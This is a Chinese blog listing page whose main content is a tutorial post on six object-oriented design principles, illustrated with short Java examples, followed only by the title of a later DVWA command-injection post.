首页
关于道锋
友情链接
公告栏
麟图图床
麟云文件
麟云证书
BH5UVN
Search
1
使用ReDroid打造自己的云手机
5,213 阅读
2
Cloudflare SAAS 接入自选教程
2,813 阅读
3
CloudFront CDN配置教程
2,458 阅读
4
Frpc使用XTCP不通过服务器传输
2,237 阅读
5
兽装曲腿制作文档
2,210 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
447
篇文章
累计收到
129
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
友情链接
公告栏
友人
iMin博客
特资啦!个人资源分享站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
猎空のBlog“
Suntの小破站
BG5VXJ-无线电
Abyss博客
麟图图床
麟云文件
麟云证书
BH5UVN
搜索到
447
篇与
的结果
2020-05-03
开发六大原则
里氏替换原则里氏替换原则,OCP作为OO的高层原则,主张使用“抽象(Abstraction)”和“多态(Polymorphism)”将设计中的静态结构改为动态结构,维持设计的封闭性。“抽象”是语言提供的功能。“多态”由继承语义实现。里氏替换原则中说,任何基类可以出现的地方,子类一定可以出现。 LSP是继承复用的基石,只有当衍生类可以替换掉基类,软件单位的功能不受到影响时,基类才能真正被复用,而衍生类也能够在基类的基础上增加新的行为。 如此,问题产生了:“我们如何去度量继承关系的质量?” Liskov于1987年提出了一个关于继承的原则“Inheritance should ensure that any property proved about supertype objects also holds for subtype objects.”——“继承必须确保超类所拥有的性质在子类中仍然成立。”也就是说,当一个子类的实例应该能够替换任何其超类的实例时,它们之间才具有is-A关系。 该原则称为Liskov Substitution Principle——里氏替换原则。表明了OO的继承与日常生活中的继承的本质区别。举一个例子:生物学的分类体系中把企鹅归属为鸟类。我们模仿这个体系,设计出这样的类和关系。 类“鸟”中有个方法fly,企鹅自然也继承了这个方法,可是企鹅不能飞阿,于是,我们在企鹅的类中覆盖了fly方法,告诉方法的调用者:企鹅是不会飞的。这完全符合常理。但是,这违反了LSP,企鹅是鸟的子类,可是企鹅却不能飞!需要注意的是,此处的“鸟”已经不再是生物学中的鸟了,它是软件中的一个类、一个抽象。 有人会说,企鹅不能飞很正常啊,而且这样编写代码也能正常编译,只要在使用这个类的客户代码中加一句判断就行了。但是,这就是问题所在!首先,客户代码和“企鹅”的代码很有可能不是同时设计的,在当今软件外包一层又一层的开发模式下,你甚至根本不知道两个模块的原产地是哪里,也就谈不上去修改客户代码了。客户程序很可能是遗留系统的一部分,很可能已经不再维护,如果因为设计出这么一个“企鹅”而导致必须修改客户代码,谁应该承担这部分责任呢?(大概是上帝吧,谁叫他让“企鹅”不能飞的。^_^)“修改客户代码”直接违反了OCP,这就是OCP的重要性。违反LSP将使既有的设计不能封闭!定义 1如果对每一个类型为 T1的对象 o1,都有类型为 T2 的对象o2,使得以 T1定义的所有程序 P 在所有的对象 o1 都代换成 o2 时,程序 P 的行为没有发生变化,那么类型 T2 是类型 T1 的子类型。定义 2所有引用基类的地方必须能透明地使用其子类的对象。问题由来有一功能P1,由类A完成。现需要将功能P1进行扩展,扩展后的功能为P,其中P由原有功能P1与新功能P2组成。新功能P由类A的子类B来完成,则子类B在完成新功能P2的同时,有可能会导致原有功能P1发生故障。解决方案当使用继承时,遵循里氏替换原则。类B继承类A时,除添加新的方法完成新增功能P2外,尽量不要重写父类A的方法,也尽量不要重载父类A的方法。继承包含这样一层含义:父类中凡是已经实现好的方法(相对于抽象方法而言),实际上是在设定一系列的规范和契约,虽然它不强制要求所有的子类必须遵从这些契约,但是如果子类对这些非抽象方法任意修改,就会对整个继承体系造成破坏。而里氏替换原则就是表达了这一层含义。继承作为面向对象三大特性之一,在给程序设计带来巨大便利的同时,也带来了弊端。比如使用继承会给程序带来侵入性,程序的可移植性降低,增加了对象间的耦合性,如果一个类被其他的类所继承,则当这个类需要修改时,必须考虑到所有的子类,并且父类修改后,所有涉及到子类的功能都有可能会产生故障。举例说明继承的风险,我们需要完成一个两数相减的功能,由类A来负责。 class A{ public int func1(int a, int b){ return a-b; } } public class Client{ public static void main(String[] args){ A a = new A(); System.out.println("100-50="+a.func1(100, 50)); System.out.println("100-80="+a.func1(100, 80)); } }运行结果:100-50=50 100-80=20后来,我们需要增加一个新的功能:完成两数相加,然后再与100求和,由类B来负责。即类B需要完成两个功能:两数相减。两数相加,然后再加100。由于类A已经实现了第一个功能,所以类B继承类A后,只需要再完成第二个功能就可以了,代码如下: class B extends A{ public int func1(int a, int b){ return a+b; } public int func2(int a, int b){ return func1(a,b)+100; } } public class Client{ public static void main(String[] args){ B b = new B(); System.out.println("100-50="+b.func1(100, 50)); System.out.println("100-80="+b.func1(100, 80)); System.out.println("100+20+100="+b.func2(100, 20)); } }类B完成后,运行结果:100-50=150 100-80=180 100+20+100=220我们发现原本运行正常的相减功能发生了错误。原因就是类B在给方法起名时无意中重写了父类的方法,造成所有运行相减功能的代码全部调用了类B重写后的方法,造成原本运行正常的功能出现了错误。在本例中,引用基类A完成的功能,换成子类B之后,发生了异常。在实际编程中,我们常常会通过重写父类的方法来完成新的功能,这样写起来虽然简单,但是整个继承体系的可复用性会比较差,特别是运用多态比较频繁时,程序运行出错的几率非常大。如果非要重写父类的方法,比较通用的做法是:原来的父类和子类都继承一个更通俗的基类,原有的继承关系去掉,采用依赖、聚合,组合等关系代替。里氏替换原则通俗的来讲就是:子类可以扩展父类的功能,但不能改变父类原有的功能。它包含以下4层含义:子类可以实现父类的抽象方法,但不能覆盖父类的非抽象方法。子类中可以增加自己特有的方法。当子类的方法重载父类的方法时,方法的前置条件(即方法的形参)要比父类方法的输入参数更宽松。当子类的方法实现父类的抽象方法时,方法的后置条件(即方法的返回值)要比父类更严格。看上去很不可思议,因为我们会发现在自己编程中常常会违反里氏替换原则,程序照样跑的好好的。所以大家都会产生这样的疑问,假如我非要不遵循里氏替换原则会有什么后果?后果就是:你写的代码出问题的几率将会大大增加。开闭原则在面向对象编程领域中,开闭原则规定“软件中的对象(类,模块,函数等等)应该对于扩展是开放的,但是对于修改是封闭的”,这意味着一个实体是允许在不改变它的源代码的前提下变更它的行为。该特性在产品化的环境中是特别有价值的,在这种环境中,改变源代码需要代码审查,单元测试以及诸如此类的用以确保产品使用质量的过程。遵循这种原则的代码在扩展时并不发生改变,因此无需上述的过程。定义一个软件实体如类、模块和函数应该对扩展开放,对修改关闭。问题由来在软件的生命周期内,因为变化、升级和维护等原因需要对软件原有代码进行修改时,可能会给旧代码中引入错误,也可能会使我们不得不对整个功能进行重构,并且需要原有代码经过重新测试。解决方案当软件需要变化时,尽量通过扩展软件实体的行为来实现变化,而不是通过修改已有的代码来实现变化。开闭原则是面向对象设计中最基础的设计原则,它指导我们如何建立稳定灵活的系统。开闭原则可能是设计模式六项原则中定义最模糊的一个了,它只告诉我们对扩展开放,对修改关闭,可是到底如何才能做到对扩展开放,对修改关闭,并没有明确的告诉我们。以前,如果有人告诉我”你进行设计的时候一定要遵守开闭原则”,我会觉的他什么都没说,但貌似又什么都说了。因为开闭原则真的太虚了。在仔细思考以及仔细阅读很多设计模式的文章后,终于对开闭原则有了一点认识。其实,我们遵循设计模式前面5大原则,以及使用23种设计模式的目的就是遵循开闭原则。也就是说,只要我们对前面5项原则遵守的好了,设计出的软件自然是符合开闭原则的,这个开闭原则更像是前面五项原则遵守程度的”平均得分”,前面5项原则遵守的好,平均分自然就高,说明软件设计开闭原则遵守的好;如果前面5项原则遵守的不好,则说明开闭原则遵守的不好。其实笔者认为,开闭原则无非就是想表达这样一层意思:用抽象构建框架,用实现扩展细节。因为抽象灵活性好,适应性广,只要抽象的合理,可以基本保持软件架构的稳定。而软件中易变的细节,我们用从抽象派生的实现类来进行扩展,当软件需要发生变化时,我们只需要根据需求重新派生一个实现类来扩展就可以了。当然前提是我们的抽象要合理,要对需求的变更有前瞻性和预见性才行。说到这里,再回想一下前面说的5项原则,恰恰是告诉我们用抽象构建框架,用实现扩展细节的注意事项而已:单一职责原则告诉我们实现类要职责单一;里氏替换原则告诉我们不要破坏继承体系;依赖倒置原则告诉我们要面向接口编程;接口隔离原则告诉我们在设计接口的时候要精简单一;迪米特法则告诉我们要降低耦合。而开闭原则是总纲,他告诉我们要对扩展开放,对修改关闭。最后说明一下如何去遵守这六个原则。对这六个原则的遵守并不是是和否的问题,而是多和少的问题,也就是说,我们一般不会说有没有遵守,而是说遵守程度的多少。任何事都是过犹不及,设计模式的六个设计原则也是一样,制定这六个原则的目的并不是要我们刻板的遵守他们,而需要根据实际情况灵活运用。对他们的遵守程度只要在一个合理的范围内,就算是良好的设计。我们用一幅图来说明一下。图中的每一条维度各代表一项原则,我们依据对这项原则的遵守程度在维度上画一个点,则如果对这项原则遵守的合理的话,这个点应该落在红色的同心圆内部;如果遵守的差,点将会在小圆内部;如果过度遵守,点将会落在大圆外部。一个良好的设计体现在图中,应该是六个顶点都在同心圆中的六边形。在上图中,设计1、设计2属于良好的设计,他们对六项原则的遵守程度都在合理的范围内;设计3、设计4设计虽然有些不足,但也基本可以接受;设计5则严重不足,对各项原则都没有很好的遵守;而设计6则遵守过渡了,设计5和设计6都是迫切需要重构的设计。迪米特法则迪米特法则可以简单说成:talk only to your immediate friends。 对于OOD来说,又被解释为下面几种方式:一个软件实体应当尽可能少的与其他实体发生相互作用。每一个软件单位对其他的单位都只有最少的知识,而且局限于那些与本单位密切相关的软件单位。 迪米特法则的初衷在于降低类之间的耦合。由于每个类尽量减少对其他类的依赖,因此,很容易使得系统的功能模块功能独立,相互之间不存在(或很少有)依赖关系。 迪米特法则不希望类之间建立直接的联系。如果真的有需要建立联系,也希望能通过它的友元类来转达。因此,应用迪米特法则有可能造成的一个后果就是:系统中存在大量的中介类,这些类之所以存在完全是为了传递类之间的相互调用关系——这在一定程度上增加了系统的复杂度。 有兴趣可以研究一下设计模式的门面模式(Facade)和中介模式(Mediator),都是迪米特法则应用的例子。 值得一提的是,虽然Ian Holland对计算机科学的贡献也仅限于这一条法则,其他方面的建树不多,但是,这一法则却不仅仅局限于计算机领域,在其他领域也同样适用。比如,美国人就在航天系统的设计中采用这一法则。定义一个对象应该对其他对象保持最少的了解。问题由来类与类之间的关系越密切,耦合度越大,当一个类发生改变时,对另一个类的影响也越大。解决方案尽量降低类与类之间的耦合。自从我们接触编程开始,就知道了软件编程的总的原则:低耦合,高内聚。无论是面向过程编程还是面向对象编程,只有使各个模块之间的耦合尽量的低,才能提高代码的复用率。低耦合的优点不言而喻,但是怎么样编程才能做到低耦合呢?那正是迪米特法则要去完成的。迪米特法则又叫最少知道原则,最早是在1987年由美国Northeastern University的Ian Holland提出。通俗的来讲,就是一个类对自己依赖的类知道的越少越好。也就是说,对于被依赖的类来说,无论逻辑多么复杂,都尽量地的将逻辑封装在类的内部,对外除了提供的public方法,不对外泄漏任何信息。迪米特法则还有一个更简单的定义:只与直接的朋友通信。首先来解释一下什么是直接的朋友:每个对象都会与其他对象有耦合关系,只要两个对象之间有耦合关系,我们就说这两个对象之间是朋友关系。耦合的方式很多,依赖、关联、组合、聚合等。其中,我们称出现成员变量、方法参数、方法返回值中的类为直接的朋友,而出现在局部变量中的类则不是直接的朋友。也就是说,陌生的类最好不要作为局部变量的形式出现在类的内部。举一个例子:有一个集团公司,下属单位有分公司和直属部门,现在要求打印出所有下属单位的员工ID。先来看一下违反迪米特法则的设计。 //总公司员工 class Employee{ private String id; public void setId(String id){ this.id = id; } public String getId(){ return id; } } //分公司员工 class SubEmployee{ private String id; public void setId(String id){ this.id = id; } public String getId(){ return id; } } class SubCompanyManager{ public List getAllEmployee(){ List list = new ArrayList(); for(int i=0; i<100; i++){ SubEmployee emp = new SubEmployee(); //为分公司人员按顺序分配一个ID emp.setId("分公司"+i); list.add(emp); } return list; } } class CompanyManager{ public List getAllEmployee(){ List list = new ArrayList(); for(int i=0; i<30; i++){ Employee emp = new Employee(); //为总公司人员按顺序分配一个ID emp.setId("总公司"+i); list.add(emp); } return list; } public void printAllEmployee(SubCompanyManager sub){ List list1 = sub.getAllEmployee(); for(SubEmployee e:list1){ System.out.println(e.getId()); } List list2 = this.getAllEmployee(); for(Employee e:list2){ System.out.println(e.getId()); } } } public class Client{ public static void main(String[] args){ CompanyManager e = new CompanyManager(); e.printAllEmployee(new SubCompanyManager()); } }现在这个设计的主要问题出在CompanyManager中,根据迪米特法则,只与直接的朋友发生通信,而SubEmployee类并不是CompanyManager类的直接朋友(以局部变量出现的耦合不属于直接朋友),从逻辑上讲总公司只与他的分公司耦合就行了,与分公司的员工并没有任何联系,这样设计显然是增加了不必要的耦合。按照迪米特法则,应该避免类中出现这样非直接朋友关系的耦合。修改后的代码如下: class SubCompanyManager{ public List getAllEmployee(){ List list = new ArrayList(); for(int i=0; i<100; i++){ SubEmployee emp = new SubEmployee(); //为分公司人员按顺序分配一个ID emp.setId("分公司"+i); list.add(emp); } return list; } public void printEmployee(){ List list = this.getAllEmployee(); for(SubEmployee e:list){ System.out.println(e.getId()); } } } class CompanyManager{ public List getAllEmployee(){ List list = new ArrayList(); for(int i=0; i<30; i++){ Employee emp = new Employee(); //为总公司人员按顺序分配一个ID emp.setId("总公司"+i); list.add(emp); } return list; } public void printAllEmployee(SubCompanyManager sub){ sub.printEmployee(); List list2 = this.getAllEmployee(); for(Employee e:list2){ System.out.println(e.getId()); } } }修改后,为分公司增加了打印人员ID的方法,总公司直接调用来打印,从而避免了与分公司的员工发生耦合。迪米特法则的初衷是降低类之间的耦合,由于每个类都减少了不必要的依赖,因此的确可以降低耦合关系。但是凡事都有度,虽然可以避免与非直接的类通信,但是要通信,必然会通过一个”中介”来发生联系,例如本例中,总公司就是通过分公司这个”中介”来与分公司的员工发生联系的。过分的使用迪米特原则,会产生大量这样的中介和传递类,导致系统复杂度变大。所以在采用迪米特法则时要反复权衡,既做到结构清晰,又要高内聚低耦合。接口隔离原则使用多个专门的接口比使用单一的总接口要好。 一个类对另外一个类的依赖性应当是建立在最小的接口上的。 一个接口代表一个角色,不应当将不同的角色都交给一个接口。没有关系的接口合并在一起,形成一个臃肿的大接口,这是对角色和接口的污染。 “不应该强迫客户依赖于它们不用的方法。接口属于客户,不属于它所在的类层次结构。”这个说得很明白了,再通俗点说,不要强迫客户使用它们不用的方法,如果强迫用户使用它们不使用的方法,那么这些客户就会面临由于这些不使用的方法的改变所带来的改变。定义客户端不应该依赖它不需要的接口;一个类对另一个类的依赖应该建立在最小的接口上。问题由来类A通过接口I依赖类B,类C通过接口I依赖类D,如果接口I对于类A和类B来说不是最小接口,则类B和类D必须去实现他们不需要的方法。解决方案将臃肿的接口I拆分为独立的几个接口,类A和类C分别与他们需要的接口建立依赖关系。也就是采用接口隔离原则。举例来说明接口隔离原则:这个图的意思是:类A依赖接口I中的方法1、方法2、方法3,类B是对类A依赖的实现。类C依赖接口I中的方法1、方法4、方法5,类D是对类C依赖的实现。对于类B和类D来说,虽然他们都存在着用不到的方法(也就是图中红色字体标记的方法),但由于实现了接口I,所以也必须要实现这些用不到的方法。对类图不熟悉的可以参照程序代码来理解,代码如下: interface I { public void method1(); public void method2(); public void method3(); public void method4(); public void method5(); } class A{ public void depend1(I i){ i.method1(); } public void depend2(I i){ i.method2(); } public void depend3(I i){ i.method3(); } } class B implements I{ public void method1() { System.out.println("类B实现接口I的方法1"); } public void method2() { System.out.println("类B实现接口I的方法2"); } public void method3() { System.out.println("类B实现接口I的方法3"); } //对于类B来说,method4和method5不是必需的,但是由于接口A中有这两个方法, //所以在实现过程中即使这两个方法的方法体为空,也要将这两个没有作用的方法进行实现。 public void method4() {} public void method5() {} } class C{ public void depend1(I i){ i.method1(); } public void depend2(I i){ i.method4(); } public void depend3(I i){ i.method5(); } } class D implements I{ public void method1() { System.out.println("类D实现接口I的方法1"); } //对于类D来说,method2和method3不是必需的,但是由于接口A中有这两个方法, //所以在实现过程中即使这两个方法的方法体为空,也要将这两个没有作用的方法进行实现。 public void method2() {} public void method3() {} public void method4() { System.out.println("类D实现接口I的方法4"); } public void method5() { System.out.println("类D实现接口I的方法5"); } } public class Client{ public static void main(String[] args){ A a = new A(); a.depend1(new B()); a.depend2(new B()); a.depend3(new B()); C c = new C(); c.depend1(new D()); c.depend2(new D()); c.depend3(new D()); } }可以看到,如果接口过于臃肿,只要接口中出现的方法,不管对依赖于它的类有没有用处,实现类中都必须去实现这些方法,这显然不是好的设计。如果将这个设计修改为符合接口隔离原则,就必须对接口I进行拆分。在这里我们将原有的接口I拆分为三个接口,拆分后的设计如图2所示:图 2 - 遵循接口隔离原则的设计)照例贴出程序的代码,供不熟悉类图的朋友参考: interface I1 { public void method1(); } interface I2 { public void method2(); public void method3(); } interface I3 { public void method4(); public void method5(); } class A{ public void depend1(I1 i){ i.method1(); } public void depend2(I2 i){ i.method2(); } public void depend3(I2 i){ i.method3(); } } class B implements I1, I2{ public void method1() { System.out.println("类B实现接口I1的方法1"); } public void method2() { System.out.println("类B实现接口I2的方法2"); } public void method3() { System.out.println("类B实现接口I2的方法3"); } } class C{ public void depend1(I1 i){ i.method1(); } public void depend2(I3 i){ i.method4(); } public void depend3(I3 i){ i.method5(); } } class D implements I1, I3{ public void method1() { System.out.println("类D实现接口I1的方法1"); } public void method4() { System.out.println("类D实现接口I3的方法4"); } public void method5() { System.out.println("类D实现接口I3的方法5"); } }接口隔离原则的含义是:建立单一接口,不要建立庞大臃肿的接口,尽量细化接口,接口中的方法尽量少。也就是说,我们要为各个类建立专用的接口,而不要试图去建立一个很庞大的接口供所有依赖它的类去调用。本文例子中,将一个庞大的接口变更为3个专用的接口所采用的就是接口隔离原则。在程序设计中,依赖几个专用的接口要比依赖一个综合的接口更灵活。接口是设计时对外部设定的”契约”,通过分散定义多个接口,可以预防外来变更的扩散,提高系统的灵活性和可维护性。说到这里,很多人会觉的接口隔离原则跟之前的单一职责原则很相似,其实不然。其一,单一职责原则原注重的是职责;而接口隔离原则注重对接口依赖的隔离。其二,单一职责原则主要是约束类,其次才是接口和方法,它针对的是程序中的实现和细节;而接口隔离原则主要约束接口接口,主要针对抽象,针对程序整体框架的构建。采用接口隔离原则对接口进行约束时,要注意以下几点:接口尽量小,但是要有限度。对接口进行细化可以提高程序设计灵活性是不挣的事实,但是如果过小,则会造成接口数量过多,使设计复杂化。所以一定要适度。为依赖接口的类定制服务,只暴露给调用的类它需要的方法,它不需要的方法则隐藏起来。只有专注地为一个模块提供定制服务,才能建立最小的依赖关系。提高内聚,减少对外交互。使接口用最少的方法去完成最多的事情。运用接口隔离原则,一定要适度,接口设计的过大或过小都不好。设计接口的时候,只有多花些时间去思考和筹划,才能准确地实践这一原则。依赖倒置原则依赖倒置原则(Dependence Inversion Principle)是程序要依赖于抽象接口,不要依赖于具体实现。简单的说就是要求对抽象进行编程,不要对实现进行编程,这样就降低了客户与实现模块间的耦合。面向过程的开发,上层调用下层,上层依赖于下层,当下层剧烈变动时上层也要跟着变动,这就会导致模块的复用性降低而且大大提高了开发的成本。 面向对象的开发很好的解决了这个问题,一般情况下抽象的变化概率很小,让用户程序依赖于抽象,实现的细节也依赖于抽象。即使实现细节不断变动,只要抽象不变,客户程序就不需要变化。这大大降低了客户程序与实现细节的耦合度定义高层模块不应该依赖低层模块,二者都应该依赖其抽象;抽象不应该依赖细节;细节应该依赖抽象。问题由来类A直接依赖类B,假如要将类A改为依赖类C,则必须通过修改类A的代码来达成。这种场景下,类A一般是高层模块,负责复杂的业务逻辑;类B和类C是低层模块,负责基本的原子操作;假如修改类A,会给程序带来不必要的风险。解决方案将类A修改为依赖接口I,类B和类C各自实现接口I,类A通过接口I间接与类B或者类C发生联系,则会大大降低修改类A的几率。依赖倒置原则基于这样一个事实:相对于细节的多变性,抽象的东西要稳定的多。以抽象为基础搭建起来的架构比以细节为基础搭建起来的架构要稳定的多。在java中,抽象指的是接口或者抽象类,细节就是具体的实现类,使用接口或者抽象类的目的是制定好规范和契约,而不去涉及任何具体的操作,把展现细节的任务交给他们的实现类去完成。依赖倒置原则的核心思想是面向接口编程,我们依旧用一个例子来说明面向接口编程比相对于面向实现编程好在什么地方。场景是这样的,母亲给孩子讲故事,只要给她一本书,她就可以照着书给孩子讲故事了。代码如下: class Book{ public String getContent(){ return "很久很久以前有一个阿拉伯的故事……"; } } class Mother{ public void narrate(Book book){ System.out.println("妈妈开始讲故事"); System.out.println(book.getContent()); } } public class Client{ public static void main(String[] args){ Mother mother = new Mother(); mother.narrate(new Book()); } }运行结果:妈妈开始讲故事 很久很久以前有一个阿拉伯的故事……运行良好,假如有一天,需求变成这样:不是给书而是给一份报纸,让这位母亲讲一下报纸上的故事,报纸的代码如下: class Newspaper{ public String getContent(){ return "林书豪38+7领导尼克斯击败湖人……"; } }这位母亲却办不到,因为她居然不会读报纸上的故事,这太荒唐了,只是将书换成报纸,居然必须要修改Mother才能读。假如以后需求换成杂志呢?换成网页呢?还要不断地修改Mother,这显然不是好的设计。原因就是Mother与Book之间的耦合性太高了,必须降低他们之间的耦合度才行。我们引入一个抽象的接口IReader。读物,只要是带字的都属于读物: interface IReader{ public String getContent(); }Mother类与接口IReader发生依赖关系,而Book和Newspaper都属于读物的范畴,他们各自都去实现IReader接口,这样就符合依赖倒置原则了,代码修改为: class Newspaper implements IReader { public String getContent(){ return "林书豪17+9助尼克斯击败老鹰……"; } } class Book implements IReader{ public String getContent(){ return "很久很久以前有一个阿拉伯的故事……"; } } class Mother{ public void narrate(IReader reader){ System.out.println("妈妈开始讲故事"); System.out.println(reader.getContent()); } } public class Client{ public static void main(String[] args){ Mother mother = new Mother(); mother.narrate(new Book()); mother.narrate(new Newspaper()); } }运行结果:妈妈开始讲故事 很久很久以前有一个阿拉伯的故事…… 妈妈开始讲故事 林书豪17+9助尼克斯击败老鹰……这样修改后,无论以后怎样扩展Client类,都不需要再修改Mother类了。这只是一个简单的例子,实际情况中,代表高层模块的Mother类将负责完成主要的业务逻辑,一旦需要对它进行修改,引入错误的风险极大。所以遵循依赖倒置原则可以降低类之间的耦合性,提高系统的稳定性,降低修改程序造成的风险。采用依赖倒置原则给多人并行开发带来了极大的便利,比如上例中,原本Mother类与Book类直接耦合时,Mother类必须等Book类编码完成后才可以进行编码,因为Mother类依赖于Book类。修改后的程序则可以同时开工,互不影响,因为Mother与Book类一点关系也没有。参与协作开发的人越多、项目越庞大,采用依赖导致原则的意义就越重大。现在很流行的TDD开发模式就是依赖倒置原则最成功的应用。传递依赖关系有三种方式,以上的例子中使用的方法是接口传递,另外还有两种传递方式:构造方法传递和setter方法传递,相信用过Spring框架的,对依赖的传递方式一定不会陌生。在实际编程中,我们一般需要做到如下3点:低层模块尽量都要有抽象类或接口,或者两者都有。变量的声明类型尽量是抽象类或接口。使用继承时遵循里氏替换原则。依赖倒置原则的核心就是要我们面向接口编程,理解了面向接口编程,也就理解了依赖倒置。单一职责原则单一职责原则(SRP:Single responsibility principle)又称单一功能原则,面向对象五个基本原则(SOLID)之一。它规定一个类应该只有一个发生变化的原因。该原则由罗伯特·C·马丁(Robert C. Martin)于《敏捷软件开发:原则、模式和实践》一书中给出的。马丁表示此原则是基于汤姆·狄马克(Tom DeMarco)和Meilir Page-Jones的著作中的内聚性原则发展出的。所谓职责是指类变化的原因。如果一个类有多于一个的动机被改变,那么这个类就具有多于一个的职责。而单一职责原则就是指一个类或者模块应该有且只有一个改变的原因。定义不要存在多于一个导致类变更的原因。**通俗的说,即一个类只负责一项职责。问题由来类T负责两个不同的职责:职责P1,职责P2。当由于职责P1需求发生改变而需要修改类T时,有可能会导致原本运行正常的职责P2功能发生故障。解决方案遵循单一职责原则。分别建立两个类T1、T2,使T1完成职责P1功能,T2完成职责P2功能。这样,当修改类T1时,不会使职责P2发生故障风险;同理,当修改T2时,也不会使职责P1发生故障风险。说到单一职责原则,很多人都会不屑一顾。因为它太简单了。稍有经验的程序员即使从来没有读过设计模式、从来没有听说过单一职责原则,在设计软件时也会自觉的遵守这一重要原则,因为这是常识。在软件编程中,谁也不希望因为修改了一个功能导致其他的功能发生故障。而避免出现这一问题的方法便是遵循单一职责原则。虽然单一职责原则如此简单,并且被认为是常识,但是即便是经验丰富的程序员写出的程序,也会有违背这一原则的代码存在。为什么会出现这种现象呢?因为有职责扩散。所谓职责扩散,就是因为某种原因,职责P被分化为粒度更细的职责P1和P2。比如:类T只负责一个职责P,这样设计是符合单一职责原则的。后来由于某种原因,也许是需求变更了,也许是程序的设计者境界提高了,需要将职责P细分为粒度更细的职责P1,P2,这时如果要使程序遵循单一职责原则,需要将类T也分解为两个类T1和T2,分别负责P1、P2两个职责。但是在程序已经写好的情况下,这样做简直太费时间了。所以,简单的修改类T,用它来负责两个职责是一个比较不错的选择,虽然这样做有悖于单一职责原则。(这样做的风险在于职责扩散的不确定性,因为我们不会想到这个职责P,在未来可能会扩散为P1,P2,P3,P4……Pn。所以记住,在职责扩散到我们无法控制的程度之前,立刻对代码进行重构。)举例说明,用一个类描述动物呼吸这个场景:class Animal{ public void breathe(String animal){ System.out.println(animal+"呼吸空气"); } } public class Client{ public static void main(String[] args){ Animal animal = new Animal(); animal.breathe("牛"); animal.breathe("羊"); animal.breathe("猪"); } }运行结果:牛呼吸空气 羊呼吸空气 猪呼吸空气程序上线后,发现问题了,并不是所有的动物都呼吸空气的,比如鱼就是呼吸水的。修改时如果遵循单一职责原则,需要将Animal类细分为陆生动物类Terrestrial,水生动物Aquatic,代码如下:class Terrestrial{ public void breathe(String animal){ System.out.println(animal+"呼吸空气"); } } class Aquatic{ public void breathe(String animal){ System.out.println(animal+"呼吸水"); } } public class Client{ public static void main(String[] args){ Terrestrial terrestrial = new Terrestrial(); terrestrial.breathe("牛"); terrestrial.breathe("羊"); terrestrial.breathe("猪"); Aquatic aquatic = new Aquatic(); aquatic.breathe("鱼"); } }运行结果:牛呼吸空气 羊呼吸空气 猪呼吸空气 鱼呼吸水我们会发现如果这样修改花销是很大的,除了将原来的类分解之外,还需要修改客户端。而直接修改类Animal来达成目的虽然违背了单一职责原则,但花销却小的多,代码如下: class Animal{ public void breathe(String animal){ if("鱼".equals(animal)){ System.out.println(animal+"呼吸水"); }else{ System.out.println(animal+"呼吸空气"); } } } public class Client{ public static void main(String[] args){ Animal animal = new Animal(); animal.breathe("牛"); animal.breathe("羊"); animal.breathe("猪"); animal.breathe("鱼"); } }可以看到,这种修改方式要简单的多。但是却存在着隐患:有一天需要将鱼分为呼吸淡水的鱼和呼吸海水的鱼,则又需要修改Animal类的breathe方法,而对原有代码的修改会对调用”猪””牛””羊”等相关功能带来风险,也许某一天你会发现程序运行的结果变为”牛呼吸水”了。这种修改方式直接在代码级别上违背了单一职责原则,虽然修改起来最简单,但隐患却是最大的。还有一种修改方式: class Animal{ public void breathe(String animal){ System.out.println(animal+"呼吸空气"); } public void breathe2(String animal){ System.out.println(animal+"呼吸水"); } } public class Client{ public static void main(String[] args){ Animal animal = new Animal(); animal.breathe("牛"); animal.breathe("羊"); animal.breathe("猪"); animal.breathe2("鱼"); } }可以看到,这种修改方式没有改动原来的方法,而是在类中新加了一个方法,这样虽然也违背了单一职责原则,但在方法级别上却是符合单一职责原则的,因为它并没有动原来方法的代码。这三种方式各有优缺点,那么在实际编程中,采用哪一中呢?其实这真的比较难说,需要根据实际情况来确定。我的原则是:只有逻辑足够简单,才可以在代码级别上违反单一职责原则;只有类中方法数量足够少,才可以在方法级别上违反单一职责原则;例如本文所举的这个例子,它太简单了,它只有一个方法,所以,无论是在代码级别上违反单一职责原则,还是在方法级别上违反,都不会造成太大的影响。实际应用中的类都要复杂的多,一旦发生职责扩散而需要修改类时,除非这个类本身非常简单,否则还是遵循单一职责原则的好。遵循单一职责原的优点有:可以降低类的复杂度,一个类只负责一项职责,其逻辑肯定要比负责多项职责简单的多;提高类的可读性,提高系统的可维护性;变更引起的风险降低,变更是必然的,如果单一职责原则遵守的好,当修改一个功能时,可以显著降低对其他功能的影响。需要说明的一点是单一职责原则不只是面向对象编程思想所特有的,只要是模块化的程序设计,都适用单一职责原则。
2020年05月03日
98 阅读
0 评论
0 点赞
2020-05-03
DVWA-1.10 Command Injection
